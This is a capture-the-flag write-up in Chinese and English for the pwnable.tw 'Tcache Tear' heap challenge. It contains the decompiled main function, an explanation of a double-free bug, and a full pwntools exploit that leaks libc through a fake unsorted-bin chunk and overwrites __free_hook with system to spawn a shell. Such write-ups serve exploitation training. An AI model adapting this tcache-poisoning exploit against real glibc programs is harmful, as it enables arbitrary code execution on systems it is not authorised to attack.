pwnable.tw_Tcache Tear

Analyze:

main function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
unsigned int v4; // [rsp+Ch] [rbp-4h]

setbuf();
printf("Name:", a2);
read_note((__int64)&name, 0x20u);
v4 = 0;
while ( 1 )
{
while ( 1 )
{
menu();
v3 = get_num();
if ( v3 != 2 )
break;
if ( v4 <= 7 ) // limit the time we free chunk
{
free(ptr); // double free
++v4;
}
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
info(); // name
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_14:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_14;
new();
}
}
}

可以看到:

1
2
3
4
5
6
7
8
9
指针free后未置零->存在double free
程序限制了free的次数,我们无法通过free多次chunk来构造unsorted chunk
不过程序没有开启地址随机化&&name处存在输出
可以在bss段name位置构造fake_chunk>0x408
而后delete fake_chunk 进入unsorted bin
此时name位置(fake_chunk->fd)就会写入libc addr(main_arena+96)
此时输出info便可leak libc addr
而后利用double free改写malloc/free hook,而后即可get shell
(EXP中注意delete次数)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

def add(size,note):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendafter(":",note)

def delete():
p.sendlineafter(":","2")



#context.log_level="debug"
#p=process("./tcache_tear",env = {'LD_PRELOAD' : './libc.so'})
p=remote("chall.pwnable.tw",10207)
libc=ELF("./libc.so")
p.sendlineafter("Name:","kirin")

#leak libc
add(0x70,"kirin\n")
delete()
delete()
add(0x70,p64(0x602550))
add(0x70,"kirin\n")
add(0x70,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21))
add(0x60,"kirin\n")
delete()
delete()
add(0x60,p64(0x602050))
add(0x60,"kirin\n")
add(0x60,p64(0)+p64(0x501)+p64(0)*5+p64(0x602060))
delete()
p.sendlineafter(":","3")
p.recvuntil("Name :")
libc_addr=u64(p.recv(8))-0x3ebca0
log.info(hex(libc_addr))

#write free_hook
free_hook=libc_addr+libc.symbols['__free_hook']
system_addr=libc_addr+libc.symbols['system']
add(0x40,"kirin\n")
delete()
delete()
add(0x40,p64(free_hook))
add(0x40,"kirin\n")
add(0x40,p64(system_addr))

#get_shell
add(0x18,"/bin/sh\x00")
delete()
p.interactive()